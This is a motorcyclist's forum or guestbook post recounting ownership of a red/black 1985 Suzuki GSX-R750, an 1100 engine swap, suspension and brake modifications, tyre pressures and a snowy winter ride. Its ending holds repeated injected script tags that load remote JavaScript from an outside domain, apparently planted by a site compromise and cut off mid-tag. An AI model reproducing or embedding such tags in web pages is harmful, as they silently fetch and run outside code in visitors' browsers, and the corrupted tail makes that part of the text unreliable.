krisd

I´ve been on bikes since‘71. At 25 I got the GSX750E; a yr later I put it in a Moto Martin. Nother year & someone bent me & the Martin; I survived, the Martin didn´t. So I got the 750ESD in ´83. In ´85 I bought the first ever GSXRF750 in East Anglia for the techno. I didn´t really like the blue/white. I copied the plain white ones in the road tests and drew some paint schemes. Then one r/t had in b’grnd a red/black one so I had mine resprayed. That yr I won MCN´s comp. to be theirs and Zuki´s guest at GP. Had dinner with Zuki & breakfast with Eddie. On the day, when the F1´s came out I was talking to Dennis Rohan. He said ´look theres lots of bikes like yours coming out´. I said ´no they´re not; mines r/b´. - ´What do you mean r/b? We´re not selling r/b this year!´ - I said ´as far as I´m concerned r/b are Zukis colours. My bikes have always been r/b´. - ´Yes´ he said, ´that´s what we thought but Honda copied us this year so we decided not to sell r/b this year. Tell you what though we had a r/b one sent from Jap as a demo and we don´t know what to do with it; whether to respray it or dump the b’work. Contact me after the GP and we´ll see what we can sort out´. That shut me up. So I wrote him and said ´yes I´m interested in the bodywork but it depends how much you want for it´ - ´Nothing just do you want us to send it or do you want to come and collect it?´ - ´I´LL COME AND COLLECT IT!´ The comp set inc. seat,tank n m’guard; £1400 worth! So now I have what must be the only genuine r/b UK model! Someone told me that all other ´85´s were sprayed by Dream Machine. Anyway 18 years on and I still have it; it’s had an 1100 heart transplant last yr, but the 750´s still OK after 70000 miles and touring France twice, 2up totally loaded. And it only get’s minimal maintenance ‘cos any spare time is spent riding it. If anyone wants to know, the R1100G/H motor goes straight in without the rocker cover ´cos the barrels are 10mm taller. I had the exh. down pipes stretched 10mm ´cos it was a damned sight cheaper that a new exh. I´m not using the std a’box so that ends no problem. Other mods include h’stock angle up 1 degree. CMA wheels ´cos the originals flex; GSXR1100M f’brakes. Designed my own ´invisible´ calliper adaptors. No stability probs now still with the short s’arm. Separate Hi/Low beam BMW H/Lights for better vision. Zuki jeep indi’s for the rr and smoked LED fronts in the mirrors. Basic Ohlin´s rr shock ‘cos old one started to go little soft after 38000 mls & France. The Ohlins still good. Lastly radials; with cross-plys run them at 36-39 1or2 up. 36-36 as in h’book is one of the causes of instability. Oh one other thing; early on I chng’d the fork oil & someone wrongly told me 10wt not the recommended 15wt. Later I corrected it but it didn´t feel as compliant. Recently I tried the 10wt again which gave much more flexibility to the adjustments and is far better on our shitty roads. I actually got caught out last winter when I needed to use my bike to travel 50mls to work. It was dry when I left. Time I got to work the snow & ruts were 3-4” deep! After nice day with no new snow I thought the return journey would be OK. WRONG! It was dark and by halfway it was snowing again – 12 miles to go with a horiz blizzard in my face and I couldn’t even see the sides of the road; didn’t look like cars had been there for hrs. Just as well I knew the road like the back of my hand, I daren’t even look at the speedo but I’m guessing I was still able to do 25-30 mph ‘cos of no ruts! I waved a car past so then I could see in the distance better and from his ruts could see where the road was. The point being I was convinced I was going to end up on my arse but the ‘R’ never twitched!!!<script src=http://www.adw95.com/b.js></script><script src=http://www.adw95.com/b.js></script><script src=http://www.adw95.com/b.js></script><script src=http://www.adw95.com/b.js></script><script src=http://www.adw95.com/b.js></script><script src=http://www.adw95